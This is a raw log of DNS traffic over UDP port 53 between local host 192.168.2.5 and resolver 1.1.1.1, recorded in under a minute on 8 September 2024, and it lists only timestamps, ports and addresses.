Sep 8, 2024 08:42:37.672252893 CEST	53	61232	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:38.813886881 CEST	53345	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:38.984488964 CEST	53	53345	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:38.991056919 CEST	55210	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:39.160836935 CEST	53	55210	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:39.277642012 CEST	56759	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:39.447339058 CEST	53	56759	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:39.456708908 CEST	62449	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:39.657829046 CEST	53	62449	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:39.762208939 CEST	52653	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:39.779453993 CEST	53	52653	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:39.781534910 CEST	62542	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:39.791462898 CEST	53	62542	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:39.902932882 CEST	61019	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:39.948250055 CEST	53	61019	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:41.090457916 CEST	63455	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:41.099653006 CEST	53	63455	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:42.199799061 CEST	61376	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:42.208556890 CEST	53	61376	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:43.308996916 CEST	50381	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:43.555399895 CEST	53	50381	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:43.558358908 CEST	60254	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:43.720360041 CEST	53	60254	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:43.824764967 CEST	59840	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:44.074347973 CEST	59840	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:44.077020884 CEST	53	59840	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:44.079047918 CEST	62668	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:44.080979109 CEST	53	59840	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:44.325588942 CEST	62668	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:44.329374075 CEST	53	62668	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:44.332690954 CEST	53	62668	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:44.434750080 CEST	62490	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:44.454427958 CEST	53	62490	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:45.652528048 CEST	58745	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:45.661891937 CEST	53	58745	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:47.762309074 CEST	57421	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:47.884097099 CEST	53	57421	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:48.996517897 CEST	54122	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:49.250416994 CEST	54122	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:49.253158092 CEST	53	54122	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:49.257128000 CEST	53	54122	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:49.275809050 CEST	49220	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:49.439446926 CEST	53	49220	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:49.544032097 CEST	55641	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:49.579260111 CEST	53	55641	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:49.581533909 CEST	49298	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:49.839999914 CEST	49298	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:49.855801105 CEST	53	49298	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:49.855885029 CEST	53	49298	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:49.965514898 CEST	61785	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:50.148510933 CEST	53	61785	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:50.150654078 CEST	64217	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:50.353298903 CEST	53	64217	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:50.497494936 CEST	60287	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:50.506814003 CEST	53	60287	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:50.520988941 CEST	64987	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:50.555821896 CEST	53	64987	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:50.669224977 CEST	52926	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:50.680107117 CEST	53	52926	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:51.843972921 CEST	63095	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:51.996608973 CEST	53	63095	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:53.107990980 CEST	64944	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:53.140371084 CEST	53	64944	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:53.143847942 CEST	51038	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:53.178390980 CEST	53	51038	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:53.293205976 CEST	53810	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:53.360131979 CEST	53	53810	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:53.362493992 CEST	59687	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:53.459458113 CEST	53	59687	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:53.575330019 CEST	49396	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:53.734918118 CEST	53	49396	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:53.764640093 CEST	64381	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:54.009422064 CEST	53	64381	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:54.121514082 CEST	56608	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:54.217016935 CEST	53	56608	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:54.240328074 CEST	56145	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:54.250062943 CEST	53	56145	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:54.355874062 CEST	50959	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:54.393234968 CEST	53	50959	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:55.497256041 CEST	51044	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:55.525419950 CEST	53	51044	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:56.652996063 CEST	61434	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:56.694540024 CEST	53	61434	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:56.701868057 CEST	54190	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:56.738599062 CEST	53	54190	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:56.857542992 CEST	56031	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:56.867016077 CEST	53	56031	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:58.021795988 CEST	60463	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:58.041429996 CEST	53	60463	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:59.168844938 CEST	63208	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:59.185580969 CEST	53	63208	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:59.207670927 CEST	52082	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:59.218734980 CEST	53	52082	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:59.325871944 CEST	51317	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:59.358273983 CEST	53	51317	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:59.361114979 CEST	63151	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:59.390022993 CEST	53	63151	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:59.496635914 CEST	51565	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:59.508742094 CEST	53	51565	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:00.659216881 CEST	61622	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:00.823220015 CEST	53	61622	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:00.827600002 CEST	60637	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:00.998929977 CEST	53	60637	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:01.109647036 CEST	51136	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:01.274445057 CEST	53	51136	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:01.276820898 CEST	64954	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:01.449350119 CEST	53	64954	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:01.559621096 CEST	65331	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:01.593946934 CEST	53	65331	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:02.699471951 CEST	62423	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:02.955038071 CEST	62423	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:03.042160034 CEST	53	62423	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:03.042171955 CEST	53	62423	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:03.045058012 CEST	61554	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:03.293086052 CEST	61554	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:03.376475096 CEST	53	61554	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:03.376501083 CEST	53	61554	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:03.481518030 CEST	54256	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:03.552676916 CEST	53	54256	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:03.574357986 CEST	56793	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:03.611686945 CEST	53	56793	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:03.715420961 CEST	59535	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:03.921435118 CEST	53	59535	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:03.923721075 CEST	49917	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:03.960293055 CEST	53	49917	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:04.074495077 CEST	52033	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:04.098063946 CEST	53	52033	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:05.233510971 CEST	60296	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:05.252511978 CEST	53	60296	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:06.387094021 CEST	51856	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:06.396696091 CEST	53	51856	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:06.399075031 CEST	56507	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:06.408526897 CEST	53	56507	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:06.512212038 CEST	59110	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:06.521554947 CEST	53	59110	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:06.527442932 CEST	55373	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:06.545166969 CEST	53	55373	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:06.652592897 CEST	50376	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:06.836147070 CEST	53	50376	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:06.860263109 CEST	62855	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:07.038033009 CEST	53	62855	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:07.152681112 CEST	59965	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:07.162041903 CEST	53	59965	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:08.277532101 CEST	56526	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:08.527277946 CEST	56526	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:08.810087919 CEST	53	56526	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:08.810105085 CEST	53	56526	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:08.816467047 CEST	58632	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:08.892565966 CEST	53	58632	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:08.996267080 CEST	60019	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:09.042597055 CEST	53	60019	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:09.061537027 CEST	55424	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:09.090441942 CEST	53	55424	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:09.199476957 CEST	62601	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:09.219095945 CEST	53	62601	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:10.511965036 CEST	52647	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:10.681178093 CEST	53	52647	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:10.685630083 CEST	55321	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:10.859090090 CEST	53	55321	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:10.965240002 CEST	52246	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:11.147340059 CEST	53	52246	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:11.150469065 CEST	53020	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:11.333817959 CEST	53	53020	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:11.452822924 CEST	54688	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:11.479559898 CEST	53	54688	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:11.481831074 CEST	56285	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:11.490837097 CEST	53	56285	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:11.605748892 CEST	50344	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:11.707103014 CEST	53	50344	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:11.712048054 CEST	52485	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:11.949947119 CEST	52485	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:11.954961061 CEST	53	52485	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:11.956731081 CEST	53	52485	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:12.061275005 CEST	58292	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:12.308904886 CEST	58292	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:12.335923910 CEST	53	58292	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:12.335937023 CEST	53	58292	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:12.338140965 CEST	53878	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:12.355227947 CEST	53	53878	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:12.465112925 CEST	60877	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:12.513948917 CEST	53	60877	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:12.517420053 CEST	54595	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:12.761782885 CEST	54595	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:12.816533089 CEST	53	54595	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:12.816548109 CEST	53	54595	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:12.933948040 CEST	63941	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:12.954106092 CEST	53	63941	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:14.074522972 CEST	59024	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:14.124079943 CEST	53	59024	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:14.126616955 CEST	64242	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:14.373743057 CEST	64242	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:14.392385960 CEST	53	64242	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:14.392395973 CEST	53	64242	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:14.500030994 CEST	59020	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:14.746027946 CEST	59020	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:14.995765924 CEST	53	59020	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:14.995788097 CEST	53	59020	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:14.997948885 CEST	63932	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:15.020555973 CEST	53	63932	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:15.121546984 CEST	49299	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:15.130487919 CEST	53	49299	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:16.247159958 CEST	59617	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:16.419627905 CEST	53	59617	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:16.424500942 CEST	53816	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:16.596076012 CEST	53	53816	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:16.700201988 CEST	49815	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:16.964684010 CEST	49815	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:17.096375942 CEST	53	49815	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:17.096393108 CEST	53	49815	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:17.098675013 CEST	58238	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:17.222615957 CEST	53	58238	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:17.324572086 CEST	58636	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:17.344194889 CEST	53	58636	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:18.512810946 CEST	57578	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:18.529668093 CEST	53	57578	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:18.535146952 CEST	61857	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:18.542119980 CEST	53	61857	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:18.652584076 CEST	50813	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:18.662024975 CEST	53	50813	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:18.664037943 CEST	61609	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:18.902684927 CEST	61609	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:18.940874100 CEST	53	61609	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:18.940885067 CEST	53	61609	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:19.043250084 CEST	58901	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:19.299762011 CEST	58901	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:19.977219105 CEST	53	58901	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:19.977231026 CEST	53	58901	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:19.979741096 CEST	58752	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:20.215226889 CEST	58752	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:20.314969063 CEST	53	58752	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:20.314989090 CEST	53	58752	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:20.424293995 CEST	56382	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:20.445872068 CEST	53	56382	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:21.559297085 CEST	49786	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:21.776212931 CEST	53	49786	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:21.778548002 CEST	56208	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:21.874316931 CEST	53	56208	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:21.982611895 CEST	50710	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:22.244038105 CEST	53	50710	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:23.387270927 CEST	50114	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:23.572210073 CEST	53	50114	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:23.586378098 CEST	59676	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:23.824004889 CEST	59676	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:23.970197916 CEST	53	59676	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:23.975950003 CEST	53	59676	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:24.074414968 CEST	53635	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:24.279079914 CEST	53	53635	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:24.290165901 CEST	49539	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:24.297394991 CEST	53	49539	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:24.402740955 CEST	62686	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:24.652730942 CEST	62686	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:24.743864059 CEST	53	62686	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:24.743881941 CEST	53	62686	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:24.754201889 CEST	50529	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:25.000003099 CEST	50529	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:25.592113018 CEST	53	50529	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:25.592144966 CEST	53	50529	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:25.705336094 CEST	64030	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:25.949300051 CEST	64030	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:26.102857113 CEST	53	64030	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:26.106156111 CEST	53	64030	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:26.127429008 CEST	61265	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:26.291457891 CEST	53	61265	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:26.386965990 CEST	54433	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:26.577493906 CEST	53	54433	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:26.583883047 CEST	53184	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:26.645653009 CEST	53	53184	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:26.747114897 CEST	63695	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:26.776082039 CEST	53	63695	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:27.902604103 CEST	59335	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:27.911767960 CEST	53	59335	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:29.028089046 CEST	58014	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:29.048468113 CEST	53	58014	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:30.278156042 CEST	57877	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:30.297094107 CEST	53	57877	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:30.304913998 CEST	58302	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:30.419886112 CEST	53	58302	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:30.528409004 CEST	61451	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:30.557286024 CEST	53	61451	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:30.561263084 CEST	50848	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:30.568816900 CEST	53	50848	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:30.669234037 CEST	50428	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:30.687766075 CEST	53	50428	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:30.690063953 CEST	63307	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:30.766074896 CEST	53	63307	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:30.871231079 CEST	59175	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:31.022279024 CEST	53	59175	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:31.097690105 CEST	50468	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:31.221900940 CEST	53	50468	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:31.324980974 CEST	55868	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:31.360096931 CEST	53	55868	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:31.365047932 CEST	50516	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:31.373848915 CEST	53	50516	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:31.480657101 CEST	53909	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:31.489785910 CEST	53	53909	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:32.590007067 CEST	51343	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:32.840421915 CEST	51343	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:32.929536104 CEST	53	51343	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:32.929555893 CEST	53	51343	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:32.932279110 CEST	65060	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:32.942169905 CEST	53	65060	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:33.043240070 CEST	49545	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:33.052077055 CEST	53	49545	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:34.139221907 CEST	54476	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:34.372488976 CEST	53	54476	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:34.376632929 CEST	53843	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:34.621104956 CEST	53843	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:34.719882011 CEST	53	53843	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:34.721843958 CEST	53	53843	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:34.825320005 CEST	64932	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:34.915009975 CEST	53	64932	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:34.917084932 CEST	59634	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:35.157670021 CEST	59634	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:35.410928965 CEST	53	59634	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:35.410952091 CEST	53	59634	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:35.513284922 CEST	57710	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:35.761709929 CEST	57710	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:35.826534033 CEST	53	57710	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:35.826555014 CEST	53	57710	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:35.829164982 CEST	59275	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:35.860785007 CEST	53	59275	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:35.965019941 CEST	59383	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:36.223300934 CEST	59383	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:36.264756918 CEST	53	59383	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:36.264781952 CEST	53	59383	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:36.289127111 CEST	61799	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:36.298676968 CEST	53	61799	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:36.402627945 CEST	51393	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:36.635087967 CEST	53	51393	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:36.646478891 CEST	57934	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:36.818795919 CEST	53	57934	1.1.1.1	192.168.2.5
Sep 8, 2024 08:43:36.918190956 CEST	54146	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:43:36.952910900 CEST	53	54146	1.1.1.1	192.168.2.5
